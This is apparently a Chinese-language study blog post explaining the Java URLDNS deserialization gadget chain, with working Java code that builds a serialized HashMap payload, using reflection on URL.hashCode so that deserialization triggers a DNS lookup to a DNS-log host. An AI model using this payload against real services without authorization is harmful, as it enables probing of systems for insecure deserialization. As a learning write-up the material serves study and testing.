urldns

URLDNS

HashMap重写了readObject函数,里面调用的putVal调用了hash函数

img

Hash函数会调用键对象的hashcode方法

img

从而可以利用传入url对象去触发url.hashcode方法,url.hashcode里面会触发urlstreamheader.hashcode,里面有个getHostAddress函数,会发出dns请求

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.urldns;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.net.URLStreamHandler;

public class test {
public static void main(String[] args) throws MalformedURLException {
HashMap<URL,Integer> hashmap=new HashMap<>();
URL url= new URL("http://7n8m94.dnslog.cn");
hashmap.put(url,1);
}
}

这里还没开始触发反序列化就收到了dns请求

img

发现url.hashcode的值为-1才会触发hashcode方法,而hashcode默认的初始值是-1

img

img

然后经过urlstreamheader.hashcode的一顿运算,导致hashcode不再等于-1,在反序列化的时候就无法触发了,所以现在考虑在put的时候让hashcode不为-1,put过后让其等于-1,利用反射机制来实现

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.fearless.test01;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class test
{
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL,Integer> hashmap=new HashMap<>();
URL url=new URL("http://aef4f49dce.ddns.1433.eu.org.");
Class c=url.getClass();
Field hashcodefield=c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,123);
hashmap.put(url,1); //存入
hashcodefield.set(url,-1);
serialize(hashmap);
}


}
package com.fearless.test01;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;

public class un {
public static Object unserialize(String Filename) throws IOException, ClassCastException, ClassNotFoundException {
ObjectInput ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
unserialize("ser.bin");
}

}

最后反序列化成功

链子:

整理一下链条:

HashMap.readobject->hashmap.hash->url.hashcode(调用key.hashcode)->urlstreamheader.hashcode->getHostAddress

最后发出dns请求

需要注意的是url的hashcode只有在值为-1的时候才能触发后续链条,但其初始值是-1,经过运算后不为-1,所以需要利用反射在put之前设为不为-1,然后put之后设置成-1。


urldns
http://fearless-123.github.io/2025/09/24/urldns/
作者
fearless123
发布于
2025年9月24日
许可协议